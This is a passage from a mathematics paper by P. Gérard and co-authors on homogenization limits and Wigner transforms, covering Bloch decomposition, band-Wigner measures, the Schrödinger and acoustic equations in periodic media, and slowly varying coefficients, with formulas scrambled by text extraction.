formula.\n\nε\nWe now complete the proof of the proposition by showing that ∂w s\n∂t is\nbounded in L∞ (Rt , C 0 ). By expanding ∇ξ P (·, ξ + εζθ) in Fourier series in\nthe right-hand side of (4.23), we get\n\nX X Z 1 Z \u0014 \u0012 \u0013\n∂wsε 2 γ∗\n,a = tr Fx W t, − − ζ, ξ ζ\nε\n∂t ε\nγ∈L γ ∗ ∈L∗ − 2 R\n1 2m\n\n\u0015\nˇ γ) eiγ(ξ+γ ∗ /2) dξ dζ dθ\n· ∇ξ P̌ (γ ∗ , ξ + εζθ) â(ζ,\n(2π)m\nX Z 1 Z \u0014 \u0012 \u0013\n2 γ∗\n= tr Fx W ε t, − − ζ, ξ ζ\nε\nγ ∗ ∈L∗ − 2 R\n1 2m\n\n\u0015 \u0012 \u0013\n∗ γ∗ dζ\n· ∇ξ P̌ (γ , ξ + εζθ) â ζ, ξ + dξ dθ .\n2 (2π)m\n352 P. GÉRARD ET AL.\n\nUsing the formula (1.14), this leads to\n\nX Z 1 Z \u0012 \u0013\n2\n∗ γ∗ ζ\n= ζ∇ξ P̌ (γ , εξ + εζθ)û ε\nt, ξ − −\n− 12 R2m 2ε 2\nγ ∗ ∈L∗\n\u0012 \u0013 \u0012 \u0013\n¯ > γ∗ ζ γ∗ dξ dζ\n· ûε t, ξ + + â ζ, εξ + dθ\nε 2 2 (2π) (2π)m\nm\n\n1\nUsing the inequalities (with the notation hξi = (1 + ξ 2 ) 2 )\n\n|∇ξ P̌ (γ ∗ , η)| ≤ Chγ ∗ i−N hηiσ−1\n\n|â(ζ, k)| ≤ Chζi−N\n\nfor N as large as we like, we finally get\n\nε \u001d X Z\n∂ws\n∗ −N\nhζi−m hεξi(σ−1) |ûε (t, ξ)|2 dξ dζ\n∂t , a ≤ C hγ i\n∗ ∗ γ ∈LR 2m\n\nwhich is bounded in view of (4.22).\n\nThe periodicity (4.2) of the symbol matrix P allows the use of the so-called\nBloch decomposition of L2 (Rm )n , thus making the periodic-coefficient case\nsimilar to the constant-coefficient case of Section 2.\nWe set Z ⊕\n2 dk\n(4.25) L],ε := L2 (εC)n\nB |B|\n(see for the constant-fiber direct integral of a Hilbert space). L2],ε is\nequipped with the norm\n\u0012 Z \u00131\n1 2\n(4.26) ku] k],ε := |u] (x, k)| dx dk\n2\n.\n|B| εC×B\n\nThe following proposition is essentially given in :\n\nP ROPOSITION 4.9 The map I ε from L2 (Rm )n to L2],ε defined by\n\nX\n(4.27) u(x) −→ u] (x, k) := u(x − εγ)eik·γ\nγ∈L\n\nis an isometry. Its inverse is\n\nZ\nε −1\n\u0001 1\n(4.28) (I ) u] (x + εγ) = u] (x, k)eik·γ dk , x ∈ εC , γ ∈ L .\n|B| B\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 353\n\nNow the operator (P ε )W on L2 (Rm )n is transformed into pε = I ε (P ε )W\n\n(I ε )−1 on L2],ε .\nFrom a calculation based on (4.27) and (4.28) and the periodicity (4.2) of\nthe symbol P ε , we conclude that (P ε )W commutes with I ε and thus\n\n(4.29) pε u] (x, k) = (P ε )W (x, D)u] (x, k) , x ∈ εC , k ∈ B\n\n(note that (P ε )W acts locally since its Weyl symbol is a polynomial in ξ).\nHere k plays the role of a parameter. Thus we are led to define the operator\npε (k) : D(pε (k)) → L2 (εC)n for fixed k ∈ B in the following way:\n\nIts domain D(pε (k)) is the set of restrictions to εC of functions in {u ∈\n\nL2],ε (k) | (P ε )W (·, D)u ∈ L2loc (Rm )n }, where L2],ε (k) is the space of locally\nsquare-integrable k-quasi-periodic functions:\nn\nL2],ε (k) = u ∈ L2loc (Rm\nx ) |\nn\n\n(4.30b) o\n∀γ ∈ L : u(x + εγ) = u(x)eik·γ a.e. in Rm\nx .\n\n−ipε (k) is an essentially self-adjoint operator on L2 (εC)m . We thus obtain\n\n(cf. ) the direct-fiber decomposition of (P ε )W in operators acting on k-\nquasi-periodic functions:\nZ ⊕\nε W ε −1 dk ε\n(4.31) (P ) = (I ) pε (k) I .\nB |B|\nFor ε = 1 we set up the following spectral problem:\n\nIn view of assumption (B1)(iii), the resolvent of −ie−ik·x p1 (k)(eik·x .) be-\n\nlongs to the Schatten class Lp (L2 (C)n ), p > 2m σ . Hence the arguments of\nWilcox in (see also ) for the case of the Schrödinger equation can\nbe carried out in this general framework in order to obtain the properties (P1)\nstated below. The basic idea is to show that the eigenvalue problem for −ip1 (k)\nis equivalent (with multiplicities) to an analytic equation D(λ, k) = 0 and then\nuse general properties of such equations.\n\n(P1) (i) For any k, the spectrum of −ip1 (k) is an infinite discrete set\n{λl (k), l ∈ D} of real eigenvalues with finite multiplicities. Here\n354 P. GÉRARD ET AL.\n\nD denotes either Z, Z+ , or Z− depending on whether P is not\n\nsemibounded or semibounded from below or above. The functions\nλl are L∗ -periodic and the labeling above is chosen so that if j < l,\nthen λj (k) < λl (k) for all k. Notice that this definition implies\nthat functions λl may be discontinuous (at crossing points).\n(ii) |λl (k)| → +∞ as |l| → +∞, l ∈ D, uniformly for k ∈ B.\n(iii) For any positive integer N , there exists a closed subset FN ⊂ B\nof Lebesgue measure 0 (in fact, a closed analytic set) such that,\nfor any l ∈ D such that |l| < N , the function λl is analytic on\nΩN := B \\ FN and the multiplicity of λl (k) as an eigenvalue of\n−ip1 (k) is constant on the components of ΩN .\n(iv) Let Sl1 (k) ⊆ L2 (C)n denote the eigenspace of λl (k) and 1\nL by Πl1 (k)\nL → Sl (k). For any k ∈ ΩN ,\n2\nthe projector L (C) n 1\nl∈Z Sl (k)\n2 n\n= L (C) , where l denotes the direct sum of closed subspaces\nof a Hilbert space. Moreover, Π1l (k) is analytic in k ∈ ΩN for\nN >l.\n\nNote that the eigenspaces Slε (k) (and their projectors Πεl (k) of −ipε (k))\nare obtained from Sl1 (k) by the rescaling x → xε . The eigenvalues λ(k) are\ninvariant under this rescaling.\nIn generalization of [20, 2, 18, 17], we use the above eigenvalue problems\non spaces of quasi-periodic functions to construct invariant spectral subspaces\nof L2 (Rm )n .\nThe ε-dependent “Bloch decomposition” of L2 (Rm )n is obtained from the\ndirect fibers Slε (k) introduced in property (P1)(iv). We denote by Slε the\nsubspace of L2 (Rm )n corresponding to λl\n\n⊕ Z\nε −1 dk\nSlε := (I ) Slε (k)\n(4.33) B |B|\n\b\n= u(x) ∈ L (R ) | (I ε u)(·, k) ∈ Slε (k) a.e. in B\n2 m n\n\nwhere I ε is the isometry (4.27).\n\nThe projection L2 (Rm )n → Slε is denoted by Πεl . It is obtained from\nZ ⊕\ndk ε\n(4.34) Πεl = (I ε )−1 Πεl (k) I .\nB |B|\n\nBy construction the subspaces Slε are mutually orthogonal, and due to\n\nProposition 4.9 and property (P1)(iv) we have the following:\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 355\n\nP ROPOSITION 4.10 Let Slε be defined by (4.33). Then we have for ε ∈ (0, ε0 ]\nM\n(4.35) L2 (Rm )n = Slε .\nl∈Z\n\nThe action of (P ε )W in the subspaces is given by the following:\n\nP ROPOSITION 4.11 Let f (x) ∈ Slε . Then\n\u0001 X\n(4.36) (P ε )W f (x) = i λ̌l (γ)f (x + εγ) = ((iλl (εDx )f )) (x) ∈ Slε\nγ∈L\n\nThe Hilbert space L2 (Rm )n is thus decomposed (by Bloch decomposition)\n\ninto a direct sum of countably many “Band spaces” (Floquet spaces) Slε , which\nare invariant under the action of (P ε )W (i.e., the operator (P ε )W commutes\nwith Πεl , ∀l ∈ D).\nHence the IVP (4.1) can be replaced by denumerably many decoupled\nIVPs:\nC OROLLARY 4.12 The solution u(t, x) of (4.1a) and (4.1b) is given by\nX\n(4.37) uε (t, x) = uεl (t, x)\nl∈Z\n\nwhere uεl (t, x) is obtained from\n\n∂ ε X\n(4.38a) ε ul + i λ̌l (γ)uεl (x + εγ) = 0 , x ∈ Rm\nx , t ∈ R,\n∂t\nγ∈L\n(4.38b) uεl (x, t = 0) = uεI,l (x) , x ∈ Rm\nx\n\nfor l ∈ Z, with\n(4.38c) uεI,l (x) := Πεl uεI (x) .\nNote that in analogy to (2.8), the time evolution of the Fourier transforms\nûl (t, ξ) is governed by\n\n∂ ε\n(4.39) ε û + iλl (εξ)ûεl = 0 , ξ ∈ Rm\nξ , t ∈ R,\n∂t l\n356 P. GÉRARD ET AL.\n\nfor l ∈ Z, with the Fourier transform of uεI,l (x) in (4.38c) as initial datum.\nWe define the lth Band-Wigner function (i.e., the Wigner series (4.9) of the\nth\nl component in the decomposition (4.37))\n\n(4.40) wlε (t, x, k) := wsε [uεl (t)](x, k) , wI,l\n\nε\n(x, k) := wsε [uεI,l ](x, k) , l ∈ Z,\n\nwhich have uniform C 0 -bounds according to Proposition 4.3. For the zeroth-\norder k-moment\nZ\n(4.41) ε\nnl (t, x) := wlε (t, x, k) dk = |uεl (t, x)|2 ,\nB\n\nwe again have the energy conservation\n\nZ Z\n(4.42) ε\nnl (t, x) dx = |uεI,l (x)|2 dx , ∀t ∈ Rt ,\nRm\nx Rm\nx\n\nand due to Proposition 4.10\n\nZ XZ\n(4.43) ε\nn (t, x) dx = nεl (t, x) dx , ∀t ∈ Rt .\nRm\nx l∈Z Rm\nx\n\nThe general “orthogonality result” Proposition 1.5 also holds for Wigner\nseries measures Ws0 , where the proof is again a consequence of the positivity\nof Ws0 and the Schwarz inequality. For the Band-Wigner measures wl0 as the\nlimits of (4.40), that is, the Wigner series measures of components (4.37) of\nuε (t, x), we have another result of that type:\n\nL EMMA 4.13 Let j 6= l and ΩN as in (P1)(iii) with N > |j|, |l|. Then\n\nws0 [uεj + uεl ] = ws0 [uεj ] + ws0 [uεl ] in C 0 (Rt ; Cc0 (ΩN )0 ) .\n\nP ROOF : It is sufficient to prove that ws0 (uεj , uεl ) = 0 in D0 (Rt × ΩN ). We\n\nhave\n\nε∂t wsε (uεj , uεl ) + iwsε (λj (εD)uεj , uεl ) + iwsε (uεj , λl (εD)uεl ) = 0 .\n\n(λj (k) − λl (k)) ws0 (uεj , uεl ) = 0 in D0 (Rt × ΩN ) .\n\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 357\n\nUsing (4.20) with f ε = g ε = uεl and the periodicity of λl we obtain from\n\n(4.39) an evolution equation for the x-Fourier transform ŵlε (t, ξ, k)\nZ 1\n∂ ε 2\n(4.44) ŵ + iξ · ∇λl (k + εsξ) ds ŵlε = 0 , l ∈ Z.\n∂t l − 12\n\nNote that ŵlε (t) is uniformly bounded in L∞ (Rm 1\n\nξ ; L (B)). As in Section 2\nwe have the desired result on ΩN as defined in property (P1)(iii) for ε → 0\n(cf. Proposition 4.6).\n\nL EMMA 4.14 On Rt × Ω̃N , with Ω̃N = Rm ∗\n\nx ×(ΩN +L ) and with N > |l|, wl\nε\n\n0\n\nsolution of the IVP:\n\n∂ 0\n(4.45a) w + ∇λl (k) · ∇x wl0 = 0\n∂t l\n(4.45b) wl0 is periodic in k\n(4.45c) wl0 (t = 0) = wI,l\n0\n.\n\nOf course, now we have to relate the Wigner series measure w0 (t) of\n\nuε (t) to the Band-Wigner measures wl0 (t) of uεl (t) and thus reconstruct the\n“total” limiting energy density n0 from the countably infinite Band densities\nn0l . Defining A as the intersection of all the open sets ΩN\n\\\n(4.46) A := ΩN\nN ∈N\n\nwe have the following:\n\nL EMMA 4.15 Let ws0 (t) be the Wigner series measure of the solution uε (t)\nof the IVP (4.1) and wl0 (t), l ∈ Z, be given by Lemma 4.14. Then we have for\nws0 (t), which, due to Proposition 4.7, depends continuously on t as a measure\non the whole of Rm x × B,\nX\n(4.47) 1ξ∈A ws0 (t) = 1ξ∈A wl0 (t)\nl∈Z\n\nP ROOF : We define for N ∈ N\n\nX\n(4.48) sεN (t, x) := uεl (t, x) , ε\nrN (t, x) := uε − sεN (t, x) .\n|l|≤N\n358 P. GÉRARD ET AL.\n\ncsε (ζ, k):\n\nFor f, g in L2 (Rm )n , we obtain by direct estimation for w\n\n[\nkw [\ns [f ] − ws [g]kL∞ (Rm ≤ kf − gk(kf k + kgk)\n(4.49) ε ε 1\nζ ;L (B))\n\nwhich gives, using the k-periodic extensions ws0 (x, ξ),\n\n\\\n(4.50) kw \\\ns [u ](t) − ws [sN ](t)kL∞ (Rm m 0 ≤ C sup kr kL2 (Rm )n .\n0 ε 0 ε ε\n0\nζ ;Cc (Rξ ) ) N\nε>0\n\nx )\nn ≤ C\n\nfrom the ε-oscillatory property (1.26) by uniform approximation. From the\n\nPlancherel theorem and (4.39), we hence obtain\n\nk(P ε )W uεl kL2 (Rm\n\nx )\nn = kiλl (ε·)ûl kL2 (Rm )n\nε\nξ\n\nand a calculation using the orthogonality and invariance of the subspaces Slε as\nwell as the conservation k(P ε )W uε (t)kL2 (Rm )n = k(P ε )W uεI kL2 (Rm )n gives\n\nX 1\nkrN k ≤\nε 2\n2 k(P ) ul k\nε W ε 2\nmin |λl (k)|\n|l|>N k∈B\n(4.52)\n1\n≤ max k(P ε )W uεI k2 .\n|l|>N min |λl (k)|2\nk∈B\n\nε\nkL2 (Rm )n = 0 .\nN →∞ ε>0 t∈Rt\n\nFor the finite sum, application of Lemma 4.13 gives\n\nX\n1ξ∈A ws0 [sεN ](t) = 1ξ∈A ws0 [uεl ](t) , ∀t ∈ Rt .\n|l|≤N\n\nBy observing that ∀α > 0:\n\n\u0012 \u0013\n1\nws0 [uε1 + uε2 ] ≤ (1 + α)ws0 [uε1 ] + 1+ ws0 [uε2 ]\nα\n\nwe get that the total mass of ws0 [uε ] − ws0 [sεN ] goes to 0 and we conclude\n(4.47).\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 359\n\nWith the additional assumption on the initial data that wI0 does not charge\non the “bad set,” that is, the complement of A (cf. (P1)(iii) and (4.46)):\n\n(B3) Rm\nx × A is a null set of the limiting initial Wigner series measure wI ,\nc 0\n\nT HEOREM 4.16 Let (B1)–(B3) hold. Then, up to subsequences, we have for\n\nthe Wigner series measures\nX\nws0 [uε ](t) = ws0 [uεI,l ] (x − ∇λl (k)t, k) ∈ Cb (Rt ; M(Rm\nx × B)) ,\nl∈Z\n\nand the energy density nε converges locally uniformly in time\n\nZ\nε ε→0\nn −→ ws0 [uε ](t, x, dk)\nB\n\nand Z\nlim x × B) .\nnε (t, x) dx = ws0 [uε ](t)(Rm\nε→0 Rm\nx\n\nP ROOF : We first apply Lemma 4.15 for t = 0 and compare with the\nParseval formula\nX\nkuεI k2 = kuεl,I k2 .\nl∈D\n\nThis shows, by using assumption (B3), that wl,I 0 is supported in A.\n\nNow we use the explicit formula for wl0 (t) in A given by Lemma 4.14\nand compare with the energy conservation of uεl (t). This shows that wl0 (t) is\nsupported in A.\nFinally, we use Lemma 4.15 and compare with the energy conservation for\nuε (t). This shows that ws0 (t) is supported in A, which gives the result.\n\n5 Examples with Periodic Coefficients\n\nBelow we present two typical examples for the general theory of Section 4,\nnamely, the Schrödinger equation in a crystal and the acoustic equation in a\nperiodic medium. The case of Maxwell equations in a periodic medium is\nagain somewhat similar to the acoustic equation; for details we refer to .\n360 P. GÉRARD ET AL.\n\n5.1 Schrödinger Equation in a Crystal\n\nA single electron in a crystal is described by the Schrödinger equation in Rm\nx\nfor the scalar uε (t, x) (cf. [20, 7, 18]):\n\nε2 \u0010x\u0011\n(5.1) εut − i ∆uε + iVp uε = 0 , x ∈ Rm x , t ∈ R,\n2 ε\n\u0001\nwith the initial condition (3.1b). Vp xε is the properly rescaled, periodic, real\npotential of the crystal ions and obeys (cf. (4.2)) Vp (x + µ) = Vp (x), ∀µ ∈ L.\nThe symbol is hence given by\n\ni\n(5.2) P (x, ξ) = |ξ|2 − iVp (x)\n2\n\nwhich fulfills (B1) if we require the potential to be in C ∞ (Rm x ). (In it\n\nwas shown that actually Vp (x) ∈ L∞ (Rm x ) is enough.)\nNote that for a symbol P ε (x, ξ) that is additive in x and ξ the Fourier multi-\nplier (“left symbol”) P ε(x, Dx ) coincides with the Weyl operator (P ε )W(x, Dx )\nand our results of Chapter 4 apply directly. The cell problem (4.32) is given\nby a stationary Schrödinger equation subject to the k-quasi-periodicity condi-\ntion, leading to the well-known energy bands (eigenvalues) El (k) and Bloch\nfunctions (eigenfunctions) Ψl (x, k), l ∈ N (see, e.g., [24, 18]).\nThe Band-Wigner functions wlε (t, x, k), l ∈ N, obey \n\n∂ ε\n(5.3) w + Θε [El ]wlε = 0 , x ∈ Rm\nx , k ∈ B, t > 0,\n∂t l\nwith the finite difference (pseudo-differential) operator\n\n(Θε [El ]wlε ) (t, x, k)\n\nX wε (t, x + 2ε γ, k) − wlε (t, x − 2ε γ, k)\n=i Êl (γ)eik·γ l = 0.\nε\nγ∈L\n\nIn the limit we recover the free-streaming, semiclassical equations\n\n∂ 0\n(5.4) w (t, x, k) + vl (k)∇x wl0 (t, x, k) = 0 , l ∈ N,\n∂t l\nwith the “band velocities”\n\nvl (k) := ∇k El (k) , k ∈B.\n\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 361\n\nAssuming (B3), that is, that the limiting initial Wigner series measure does\nnot charge the null sets where the energy bands cross, the limiting position\ndensity is given by\nZ\nε ε→0 1 X\nn −→ n0 = 0\nwI,l (x − vl (k) · t, k) dk .\n|B| B\nl∈N\n\nIt is also possible to perform the homogenization limit for other physically in-\nteresting densities. With some additional assumptions (on the energy bands) we\nhave (cf. ), for example, for the “current density” J ε (t, x) = ε Im[uε ∇uε ]\nZ\nε ε→0 1 X\nJ −→ vl (k)wl0 (t, x, k) dk .\n|B| B\nl∈N\n\n5.2 The Acoustic Equation in a Periodic Medium\n\nWe now consider the homogenization of the acoustic equation in a periodic\nmedium (cf. [2, 4]):\n\u0001 \u0001 \u0001\nε ∇u in Rm\nx × Rt\nx x\n(5.5) r ε uεtt = div s ε\n\nx\n\nfor the scalar real-valued function uε . The energy density is given by\n\n\u0010x\u0011 \u0010x\u0011\n(5.7) nε := r (uεt )2 + s |∇uε |2 .\nε ε\nWe assume that the functions r and s are L-periodic and C ∞ and that there\nis α > 0 such that r, s ≥ α > 0 on Rm .\nAs for the wave equation in Section 3.3, we can rewrite (5.5) in the general\nform (4.1a) by introducing the new variables\nr \u0010 \u0011 r \u0010 \u0011\nx ε x\nε\np = r u , ε\nq := s ∇uε ,\nε t ε\n\nwhich yields the (m + 1)-dimensional IVP\n\n p x \u0001\n\u0012 \u0013 0 √ 1 x div s( ε ) · \u0012 ε \u0013\npε \u0012 \u0013 r( ε ) p\n(5.8a) − p x ε =0\nqε t s( ) ∇ √ · 0 q\nε r( xε )\n362 P. GÉRARD ET AL.\n\nr \u0010 \u0011\nε x ε\np (t = 0) = r p̃ =: pεI ,\nε I\n(5.8b) r \u0010 \u0011\nx\nε\nq (t = 0) = s ∇uεI =: qIε ,\nε\n\nThe energy density (5.7) now reads\n\nnε = |(pε , q ε )|2 .\n\nThe spatial operator defining (5.8a) is not elliptic for m > 1 since its\nWeyl symbol matrix has rank 2. In fact, it does not allow control on all first\nderivatives of the vector q ε but only on its divergence. As a remedy we set up\na “penalized” version of (5.8). We define\n\nA(ξ) = |ξ|2 Id − ξ ⊗ ξ\n\nsuch that\nA(D) = −∆\n~ + ∇x (div) .\n\nThe “penalization” now reads\n\n\u0012 ε\u0013 \u0012 ε\u0013\np ε p\n(5.9) ε +L =0\nqε t qε\n\nwhere\n p x \u0001 \n0 √ ε x div s( ε ) ·\n \u0012 \u0013 r( ε )\n\u0012 \u0013\nLε = − p x .\nε s( ε ) ∇x √ · i √ε2\nx A(D)\n√ ·\nr( xε ) s( ε ) x\ns( ε )\n\nClearly, −iLε is self-adjoint on L2 (Rmx )\n\nm+1 .\n\nLet us show for L1 that the crucial assumption (B1)(iii) is satisfied. Assume\n1 √ \u0001\n√ div s q ∈ L2 (Rm )\nr\nand \u0012 \u0013 \u0012 \u0013\np p i q\ns(x) ∇x √ + √ A(D) √ ∈ L2 (Rm )m .\nr s s\n\nMultiplying the second relation by s we obtain\n\u0012 \u0012 \u0013\u0013\np\ndiv s∇x √ ∈ H −1 (Rm )\nr\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 363\n\nby taking the divergence. This implies p ∈ H 1 (Rm ). Moreover, the first\n\n\u0012 \u0013 \u0012 \u0013\nq 1 √ 1 √\ndiv √ = ∇x √ sq + div( sq) ∈ L2 (Rm )\ns s s\n\nand, coming back to the second relation, ∆(q/~ s) ∈ H −1 (Rm )m , which\nimplies q ∈ H 1 (Rm )m . Hence (B1)(iii) holds. Observe that, since A(D)∇x =\n0, the IVP (5.9) and (5.8b) has the same solution as the IVP (5.8).\nThe spectral problem for −ip1 (k) is given by\n1 √\n(5.10a) i √ div( sq) = λ(k)p\nr\n\u0012 \u0013 \u0012 \u0013\n√ p 1 q\n(5.10b) i s∇x √ − √ A(D) √ = λ(k)q\nr s s\n(5.10c) ∀γ ∈ L : p(x + γ) = eikγ p(x) , q(x + γ) = eikγ q(x) .\nThe property (P1) holds for the eigenvalues and eigenprojections and the theory\nof Section 4 can be applied. However, the problem (5.10) can be substantially\nsimplified. First of all, a simple calculation shows that λ = 0 is an eigenvalue\nonly for k = 0. The (m + 1)-dimensional null space of −ip1 (0) is given by\n\u001a\u0012 \u0013 \u0012 √ \u0013 \u001b\np α r α ∈ C, β ∈ Cm , ϕ ∈ L2],1 (0)\n= √ √ ,\nq β s + s∇ϕ solves div(s∇ϕ) = −β · ∇s\nwith L2],1 (0) as defined in (4.30b). The nonzero eigenvalues split into two\np\ngroups. The first group satisfies λ(k) = ± µ(k), where µ(k) are the eigen-\nvalues of\n\u0012 \u0012 \u0013\u0013\n1 p\n(5.11a) − √ div s∇ √ = µ(k)p\nr r\n(5.11b) ∀γ ∈ L : p(x + γ) = eik·γ p(x) .\n\u0012 \u0013\np\nThe corresponding eigenfunctions are where p satisfies (5.11) and\n\n\u0012 \u0013\ni √ p\n(5.12) q± = ± p s∇ √ .\nµ(k) r\nThe second group of eigenvalues λ(k) of −ip1 (k) is obtained by solving the\nspectral problem\n\u0012 \u0013\n1 q\n(5.13a) − √ A(D) √ = λ(k)q\ns s\n\n(5.13b) div( sq) = 0 , q ∈ L2],1 (k) .\n364 P. GÉRARD ET AL.\n\u0012 \u0013\n0\nThe corresponding eigenfunctions are , where q satisfies (5.13).\nq\n\nSince √Is is a gradient, the Floquet projections corresponding to this second\ngroup of eigenvalues do not contribute to the Wigner series measure. Thus it\nis sufficient to solve the spectral problem (5.11).\n\n6 Slowly Variable Coefficients\n\nIn this section we consider the Cauchy problem\n\n(6.1a) εuεt + (P ε )W (x, εDx )uε = 0 , x ∈ Rm\n\nx , t ∈ R,\n(6.1b) uε (t = 0) = uεI on Rm\nx\n\nfor the pseudo-differential operator (P ε )W (x, εDx ) associated by Weyl’s quan-\n\ntization to a complex n × n–matrix-valued, ε-dependent symbol P ε (x, ξ) on\nRmx × Rξ . We impose the following assumptions on the symbol P :\nm ε\n\n(C1) (i) ∃σ ∈ R : P ε ∈ S σ (Rm )n×n uniformly for ε ∈ (0, ε0 ],\n\n(ii) i(P ε )W (·, εDx ) is essentially self-adjoint on L2 (Rm n\nx ) ,\n∞ (Rm ×\n(iii) P ε (x, ξ) = P 0 (x, ξ) + εQ0 (x, ξ) + o(ε) uniformly in Cloc x\nRξ )\nm n×n .\n\nThe hypothesis (C1)(i) means that P ε is of order σ uniformly as ε → 0; that\n\nis, for all α, β ∈ N0 there exists Cα,β > 0 such that for all l, k ∈ {1, . . . , m}\nand for all ε ∈ (0, ε0 ] we have\n\n∂ α+β\n\n(6.2) α β P ε (x, ξ) ≤ Cα,β (1 + |ξ|)σ−β\n∂x ∂ξ\nk l\n\nfor all (x, ξ) ∈ Rmx × Rξ . In particular, this implies that H (Rx ) is in the\nm σ m n\nε W\ndomain of (P ) (x, εD) (see ).\n(C1)(ii) implies\n(6.3) P ε (x, ξ)∗ = −P ε (x, ξ) .\nThe condition (6.3), although necessary for the self-adjointness of the PDO\n−i(P ε )W (·, εDx ), is by no means sufficient. Examples of sufficient conditions\nare\n\n1. σ = 1\n\n2. P ε is elliptic; that is, (4.8) holds.\n\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 365\n\n(C2) uεI is bounded in L2 (Rm n\n\nx ) , ε-oscillatory, and compact at infinity.\n\nObviously, − 1ε (P ε )W (x, εD) generates a strongly continuous group of uni-\n\ntary operators on L2 (Rm n\nx ) , and we have conservation of the total energy\nZ Z\n(6.4) ε\nn (t, x) dx = nεI (x) dx ∀t ∈ R.\nRm\nx Rm\nx\n\nAgain, we use the notation nε = |uε |2 and nεI = |uεI |2 for the energy density.\nOur task in this section will be to calculate the Wigner matrix W 0 of\n(uε (t, ·)). For this, we assume that (uεI ) admits a Wigner matrix WI0 , and the\nfollowing:\n(C3) (i) There exists a closed subset E of Rm x × Rξ such that, for ev-\nm\n\nery (x, ξ) 6∈ E, the eigenvalues of −iP 0 (x, ξ) can be ordered as\n\nfollows:\nλ1 (x, ξ) < · · · < λd (x, ξ) ,\nwhere, for 1 ≤ q ≤ d, the multiplicity of λq (x, ξ) does not depend\non (x, ξ).\n(ii) For 1 ≤ q ≤ d, the Hamiltonian flow of λq leaves invariant the set\n\nx × Rξ ) \\ E .\nΩ = (Rm m\n\n(iii) E is a null set of the measure wI0 = tr(WI0 ).\n\nFor 1 ≤ q ≤ d, (x, ξ) ∈ Ω, we denote by Πq (x, ξ) the orthogonal projection\nof Cn on the eigenspace associated to λq (x, ξ). Of course, Πq ∈ C ∞ (Ω)n×n .\nWe can now formulate the following theorem:\nT HEOREM 6.1 Let (C1), (C2), and (C3) hold and let {·} denote the Poisson\nbracket (1.34).\n(i) For 1 ≤ q ≤ d, we denote by wq0 (t) the continuously t-dependent positive\nscalar measure on Rmx × Rξ defined by\nm\n\n∂ 0\n(6.5a) w + {λq , wq0 } = 0 on Rt × Ω\n∂t q\n(6.5b) wq0 (t = 0) = tr(Πq WI0 ) on Ω\n\n(6.5c) wq0 (t, E) = 0 , t ∈ R.\n\n366 P. GÉRARD ET AL.\n\nThen the scalar Wigner transform wε (t, x, ξ) of uε (t) converges locally\n\nuniformly in t to\nX\nd\nw0 (t, x, ξ) = wq0 (t, x, ξ) ,\nq=1\n\nand nε (t, x) converges locally uniformly in t to\n\nZ\n0\nn (t, x) = w0 (t, x, dξ) .\nRm\nξ\n\n(ii) For 1 ≤ q ≤ d, we set Fq = [Πq , {λq , Πq }] + Πq Q0 Πq with Q0 given by\n\n(C1)(iii); denote by Wq0 the continuously t-dependent, positive-matrix-\nvalued measure on Rm x × Rξ defined by\nm\n\n∂ 0\n(6.6a) W + {λq , Wq0 } = [Wq0 , Fq ] on Rt × Ω\n∂t q\n(6.6b) Wq0 (t = 0) = Πq WI0 Πq on Ω\n\nS 0 ) weak-∗ to\nX d\nW0 = Wq0 ,\nq=1\n\nand uε ⊗ ūε converges in L∞ (Rt , S 0 ) weak-∗ to\n\nZ\nN0 = W 0 (·, ·, dξ).\nRm\nξ\n\nR EMARK 6.2 (1) Unlike (i), the convergence in (ii) may not be uniform\nand not even almost everywhere in t (a counterexample is given in\nSection 7).\n(2) Denote by W̃q0 the solution to\n\n∂ W̃q0\n(6.7a) + {λq , W̃q0 } = 0 on Rt × Ω\n∂t\n(6.7b) W̃q0 (t = 0) = Πq WI0 Πq on Ω\n\n(6.7c) W̃q0 (t, E) = 0 , t ∈ R.\n\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 367\n\nThen, since Fq∗ = −Fq , Wq0 (t) remains unitarily equivalent to W̃q0 (t), it\nis actually positive. The precise formula is\n(6.8) Wq0 (t) = Uq (t)W̃q0 (t)Uq (t)∗\nwhere\n∂Uq\n(6.9a) + {λq , Uq } = Fq Uq\n∂t\n(6.9b) Uq (t = 0) = I .\nMoreover, in view of the expression of Fq , we have {λq , Πq } = [Πq , Fq ],\nhence Wq0 = Πq Wq0 Πq . Then an elementary computation shows that\nequation (6.6a) can be rewritten as\n∂Wq0 \b \u0002 \u0003\n(6.10) + Πq λq , Wq0 Πq = Wq0 , Πq Q0 Πq .\n∂t\n(3) Observe that Πq {λq , W }Πq can be seen as the covariant derivative of\nthe matrix-valued distribution W along the Hamiltonian vector field of\nλq associated to the induced connection on the subbundle defined by the\nequations W = Πq W Πq .\nP ROOF OF T HEOREM 6.1: Using equation (6.1a), we have\n∂W ε \u0001 \u0001\n(6.11) ε = −W ε (P ε )W (x, εD)uε , uε − W ε uε , (P ε )W (x, εD)uε .\n∂t\nIn view of (1.37), (1.38), (C1)(i), and (6.3), we can rewrite (6.11) as\n∂W ε W εP ε − P εW ε 1\n(6.12) = + ({W ε , P ε } − {P ε , W ε }) + Rε ,\n∂t ε 2i\nwhere Rε → 0 in L∞ (Rt , S 0 (Rm\nx × Rξ )). From (6.12), we first conclude two\nm\n\nfacts:\n1. Taking the trace of (6.12), we observe that ∂w\nε\n\n∂t is bounded in L (Rt ,\n0\nS (Rx ×Rξ )). This implies the uniform convergence stated in Theorem\nm m\n\n6.1(i).\n2. Passing to the limit in (6.12), we observe that every limit W 0 of a subse-\nquence of (W ε ) in L∞ (Rt , S 0 ) weak-∗ has to satisfy\n(6.13) W 0P 0 = P 0W 0 .\nIn particular, on Rt × Ω, for 1 ≤ q ≤ d,\n(6.14) W 0 Πq = Πq W 0 .\n368 P. GÉRARD ET AL.\n\nNow we fix W 0 to be the limit in L∞ (Rt , S 0 ) weak-∗ of some subsequence\n\nof (W ε ), and we study the propagation identity (6.12) on the open set Rt × Ω.\nMultiplying by Πq on the left and right and then passing to the limit, we obtain\n\nΠq W 0 Πq = Πq W 0 Q0 Πq − Πq Q0 W 0 Πq\n(6.15) ∂t\n1 \u0001\n+ Πq {W 0 , P 0 } − {P 0 , W 0 } Πq .\n2i\n\nSet Wq0 = Πq W 0 Πq on Rt × Ω. In view of 